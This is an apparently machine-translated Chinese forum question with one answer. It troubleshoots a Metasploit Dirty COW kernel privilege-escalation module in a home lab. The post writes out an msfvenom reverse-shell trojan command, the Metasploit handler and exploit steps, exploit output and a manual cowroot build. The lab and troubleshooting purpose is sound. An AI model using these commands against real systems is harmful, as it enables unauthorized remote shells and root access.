使用 Metasploit 开发脏牛

信息安全 元数据 kali-linux C 特权升级 脏牛
2021-09-10 14:25:40

我正在测试我的一些 Linux 虚拟机,试图利用 Dirty Cow 漏洞,但我无法使用 Metasploit 成功。首先......对于感兴趣的用户,几个链接到“脏牛,什么是”漏洞,“受影响的内核”解释我将解释长版本,可能对其他人有用。问题在最后一句话!

我知道您必须能够从“可能的受害者”机器启动命令,并且内核必须是受影响的机器之一。很好,我正在使用 Debian Jessie VM 使用内核 3.16(受影响)。

我知道我们可以手动编译它等等......但我实验室的重点是尝试使用 Metasploit 来“自动化”一点。首先,我下载了要与 Metasploit 框架一起使用的漏洞利用程序。是从Rapid7 Github.rb下载并由nixawk改编为 Metasploit 的文件。

我已经将.rb文件放在 Metasploit 的正确文件夹下,在我的情况下,使用 Kali 作为“攻击者”是/usr/share/metasploit-framework/modules/exploits/linux/local/因为它属于 linux 类别等。现在我可以从 msfconsole 看到使用search dirtycow. 所以,Metasploit 看起来一切都很好!现在我可以使用它了。开始干活...

选择use exploit/linux/local/DirtyCow显示选项的漏洞利用后show options,我可以看到设置我们将尝试执行漏洞利用的会话很简单。我们还没有一个会话。一开始我不知道是否需要meterpreter会话或什么样的会话。经过一些测试,似乎需要一个 linux shell 会话。好的,让我们用反向 tcp linux shell 准备木马msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTrojip 是我的 Kali “攻击者” linux 所在的位置,端口没问题,两台机器(受害者和攻击者)之间存在通信,因为它们在同一个 LAN 上,没有防火墙等。

我使用 为 shell 会话准备了 Metasploit “监听” use exploit/multi/handler,然后设置了有效负载,在本例中为set payload linux/x86/shell/reverse_tcp之后我设置了所需的参数,端口是默认的 4444 就可以了,set lhost 192.168.0.159这可能是 lan 的攻击者 Kali 机器 ip,仅此而已。我运行利用exploit -j.

然后,我将带有木马“存在”的文件手动复制到受害者的 Debian 机器上,并以 root 身份执行。在 Metasploit 上,会话在后台创建,ID 为 1。一切正常。现在我们再次选择 DirtyCow 的漏洞利用use exploit/linux/local/DirtyCow并使用会话的 id 设置所需的唯一参数,set session 1因为其他参数很好,没问题/tmp,路径存在并且每个人都有写权限。准备好了...我运行漏洞利用exploit,这是我的输出:

[*] Started reverse TCP handler on 192.168.0.159:4444 
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.

它没有用......不知道我做错了什么......我尝试进入会话以查看发生了什么sessions -i 1,这就是我发现的:

[*] Starting interaction with 1...

2737988140
CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI
3.16.0-4-amd64
UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC
65537
ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH
��ABCD%%
rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo
GLrEcejVuhmqQOuCOdSONoLbOBudHGeX
/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^
collect2: fatal error: cannot find 'ld'
compilation terminated.
GGYjQWGSfKLntgwhprtYiCsLJKndFUxl
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found
bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd
UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf
uMNhdcrJsOycUmRPavHrBJieIZEeBOHd

ld
ld: no input files

不知道发生了什么。gcc并且ld命令在 Debian 的受害者机器上可用...

攻击者方面一切正常吗?难道我做错了什么?还是受害者的机器有问题?也许缺少一些工具或其他东西。如果有人可以指导我...谢谢!

编辑:我尝试使用 root 执行特洛伊木马,并且我也在 Debian 的受害者机器上使用普通用户进行了测试......在两种情况下都创建了 shell 会话,但最终结果是相同的......同样的错误,同样的日志。

编辑2:Metasploit 模块基于cowroot PoC,所以我从这里下载了cowroot.c 文件,手动将其复制到Debian 的受害者机器上,以尝试手动编译它而不是使用Metasploit。我按照说明进行操作$ gcc cowroot.c -o cowroot -pthread,但得到了不同的错误...一些警告但没有致命错误:

cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^

如果你尝试它是一半的工作......我的意思是如果你执行它$ ./cowroot,它会丢弃根外壳......但过了一会儿,整个受害者机器完全挂起。所以现在我迷路了……为什么不在 Metasploit 上工作?利用 Dirty Cow 漏洞导致操作系统冻结是否正常?也许冻结可能是因为编译警告?

编辑3:冻结问题有一个解决方法。经过一番谷歌搜索后,我发现如果你之前在受害者的机器上执行(或在冻结之前删除 root shell 后很快) this echo 0 > /proc/sys/vm/dirty_writeback_centisecs,那么你启动了漏洞利用并且它不会挂起系统。我在 Metasploit 模块 (DirtyCow.rb) 的代码中进行了搜索,发现了这个:

def on_new_session(client)
    client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end

所以我想在与 metasploit 连接后,系统不会挂起......但这一点仍然无法从 Metasploit 中工作。:/

1个回答

有几件事:

1)你的目标是什么?如果您正在为其编译漏洞利用的系统正在运行 64 位内核,这可能会导致一些问题。默认目标设置为 32 位。

2) 设置 SESSION 变量时,请确保检查漏洞利用选项以确保其设置正确。

3) 在目标上,确保 /usr/bin/passwd 存在并且是 root 的 suid。还要确保 gcc 位于 /usr/bin/gcc,漏洞利用不使用 PATH 环境变量来查找这些文件中的任何一个。

4) 当你在运行漏洞利用后与会话交互时,你能发出任何 shell 命令吗?您可能看不到提示,但请尝试运行“id”或其他内容以查看是否返回 STDOUT。